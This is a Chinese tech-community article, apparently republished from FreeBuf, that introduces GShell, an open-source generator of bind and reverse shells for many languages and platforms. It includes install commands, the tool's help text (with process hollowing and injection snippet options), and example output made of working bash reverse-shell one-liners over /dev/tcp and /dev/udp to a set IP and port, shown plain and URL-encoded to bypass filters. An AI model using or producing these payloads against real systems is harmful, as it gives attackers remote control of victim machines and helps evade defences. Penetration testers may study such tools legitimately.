前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >GShell:一款灵活可扩展的跨平台Shell生成器

GShell:一款灵活可扩展的跨平台Shell生成器

作者头像
FB客服
发布2023-03-30 19:51:34
5410
发布2023-03-30 19:51:34
举报
文章被收录于专栏:FreeBufFreeBuf

 关于GShell 

GShell是一款功能强大且支持灵活扩展的跨平台Shell生成器,在该工具的帮助下,广大研究人员可以随意生成针对任意平台的任何Shell,并实现完全的自动化和管理控制功能。

 支持的操作系统 

类Unix系统 GNU/Linux Windows macOS

 支持生成的Shell 

Bind-Shel:目标需要有一个监听端口,然后我们连接到目标主机; 反向Shell:我们又一个监听端口,让目标连接到我们的设备;

 支持的编码 

URL编码:绕过URL过滤器; Base64/32/16编码:绕过字符串/关键字过滤器; PowerShell Base64编码;

 支持的IP版本 

IPv4 IPv6

 支持的协议 

TCP UDP ICMP

注意:你可以添加你自己使用了其他协议的Shell,比如说DNS。

 支持的语言和工具 

PowerShell Python Bash Sh Perl Socat Netcat Nc Awk Lua NodeJS OpenSSL PHP Ruby Telnet Golang C# Dart Groovy ...

上述语言和工具不受任何限制,我们可以根据需要执行添加支持。

Shell相关的内容存储在markdown文件中,支持随意修改。

我们可以通过向下列文件添加markdown代码块来增加更多的Bind Shell:

代码语言:javascript
复制
shells/bind_shells.md

你还可以通过向下列文件添加markdown代码块来增加更多的反向Shell:

代码语言:javascript
复制
shells/reverse_shells.md

 工具下载&安装 

Linux安装

广大研究人员可以通过下列命令将该项目源码克隆至本地:

代码语言:javascript
复制
git clone https://github.com/nozerobit/gshell.git

安装依赖组件:

代码语言:javascript
复制
python3 -m pip install -r gshell/requirements.txt

将工具添加到$PATH环境变量中:

代码语言:javascript
复制
sudo ln -s $(pwd)/gshell/gshell.py /usr/local/bin/gshell.py && chmod +x /usr/local/bin/gshell.py

执行工具:

代码语言:javascript
复制
gshell.py

Windows安装

通过下列命令将该项目源码克隆至本地:

代码语言:javascript
复制
git clone https://github.com/nozerobit/gshell C:\\Tools

以管理员权限运行命令行工具,并安装chocolatey:

代码语言:javascript
复制
@powershell -NoProfile -ExecutionPolicy Bypass -Command "iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1'))" && SET PATH=%PATH%;%ALLUSERSPROFILE%\chocolatey\bin

在Windows中安装Python 3:

代码语言:javascript
复制
choco install -y python3

安装pip:

代码语言:javascript
复制
python -m pip install --upgrade pip

安装依赖组件:

代码语言:javascript
复制
python -m pip install -r gshell/requirements.txt

切换到项目目录,并运行该工具:

代码语言:javascript
复制
cd C:\Tools
python gshell.py

 工具使用 

代码语言:javascript
复制
PS C:\gshell> python .\gshell.py -h                                    
usage: gshell.py [-i <IP ADDRESS>] [-p <PORT NUMBER>] [-s <SHELL TYPE>] [-r] [-b] [--hollowing] [--injector] [--base64] [--base32] [--base16] [--url] [--no-block] [-l] [-a] [-h]
 
 ██████  ███████ ██   ██ ███████ ██      ██
██       ██      ██   ██ ██      ██      ██
██   ███ ███████ ███████ █████   ██      ██
██    ██      ██ ██   ██ ██      ██      ██
 ██████  ███████ ██   ██ ███████ ███████ ███████
 
Generate bind shells and/or reverse shells with style
 
            Version: 1.1
            Author: nozerobit
            Twitter: @nozerobit
 
Options:
  -i <IP ADDRESS>, --ip <IP ADDRESS>
                        指定IP地址
  -p <PORT NUMBER>, --port <PORT NUMBER>
                        指定端口号
  -s <SHELL TYPE>, --shell <SHELL TYPE>
                        指定Shell类型 (python, nc, bash等)
 
Payload Types:
  -r, --reverse           反向Shell Payload
  -b, --bind             Bind Shell Payload
 
Snippets Types:
  --hollowing           打印进程镂空代码段
  --injector            打印进程注入代码段
 
Encoding Options:
  --base64              添加Base64编码
  --base32              添加Base32编码
  --base16              添加Base16编码
  --url                  添加URL编码
 
Markdown Options:
  --no-block            Skip ```
                        code
                        blocks
                        ``` while parsing
 
Help Options:
  -l, --list              枚举所有可用的Shell类型
  -a, --advice          打印使用建议和提示
  -h, --help            显示帮助信息和退出

 工具使用样例 

生成Bash反向Shell

代码语言:javascript
复制
PS C:\gshell> python .\gshell.py -i 192.168.111.120 -p 443  -r -s bash
[+] The IPv4 address: 192.168.111.120 is valid.
[+] The port number: 443 is valid.
[+] Shell type is valid
[+] Preparing reverse shells
[+] Generating bash shells
bash -i >& /dev/tcp/192.168.111.120/443 0>&1
 
----------------NEXT CODE BLOCK----------------
 
0<&196;exec 196<>/dev/tcp/192.168.111.120/443; sh <&196 >&196 2>&196
 
----------------NEXT CODE BLOCK----------------
 
/bin/bash -l > /dev/tcp/192.168.111.120/443 0<&1 2>&1
 
----------------NEXT CODE BLOCK----------------
 
bash -i >& /dev/tcp/192.168.111.120/443 0>&1
 
----------------NEXT CODE BLOCK----------------
 
bash -i >& /dev/udp/192.168.111.120/443 0>&1

编码样例

代码语言:javascript
复制
PS C:\gshell> python .\gshell.py -i 192.168.111.120 -p 443 -r -s bash --url
[+] The IPv4 address: 192.168.111.120 is valid.
[+] The port number: 443 is valid.
[+] Shell type is valid
[+] Preparing reverse shells
[+] Generating bash shells
[+] Adding URL Encoding
bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.111.120%2F443+0%3E%261%0A
 
----------------NEXT CODE BLOCK----------------
 
0%3C%26196%3Bexec+196%3C%3E%2Fdev%2Ftcp%2F192.168.111.120%2F443%3B+sh+%3C%26196+%3E%26196+2%3E%26196%0A
 
----------------NEXT CODE BLOCK----------------
 
%2Fbin%2Fbash+-l+%3E+%2Fdev%2Ftcp%2F192.168.111.120%2F443+0%3C%261+2%3E%261%0A
 
----------------NEXT CODE BLOCK----------------
 
bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.111.120%2F443+0%3E%261%0A
 
----------------NEXT CODE BLOCK----------------
 
bash+-i+%3E%26+%2Fdev%2Fudp%2F192.168.111.120%2F443+0%3E%261
 
----------------NEXT CODE BLOCK----------------

许可证协议

本项目的开发与发布遵循MIT开源许可证协议。

项目地址

https://github.com/nozerobit/gshell

精彩推荐

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-07-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  •  关于GShell 
  •  支持的操作系统 
  •  支持生成的Shell 
  •  支持的编码 
  •  支持的IP版本 
  •  支持的协议 
  •  支持的语言和工具 
  •  工具下载&安装 
    • Linux安装
      • Windows安装
      •  工具使用 
      •  工具使用样例 
        • 生成Bash反向Shell
          • 编码样例
          • 许可证协议
          • 项目地址
          相关产品与服务
          命令行工具
          腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档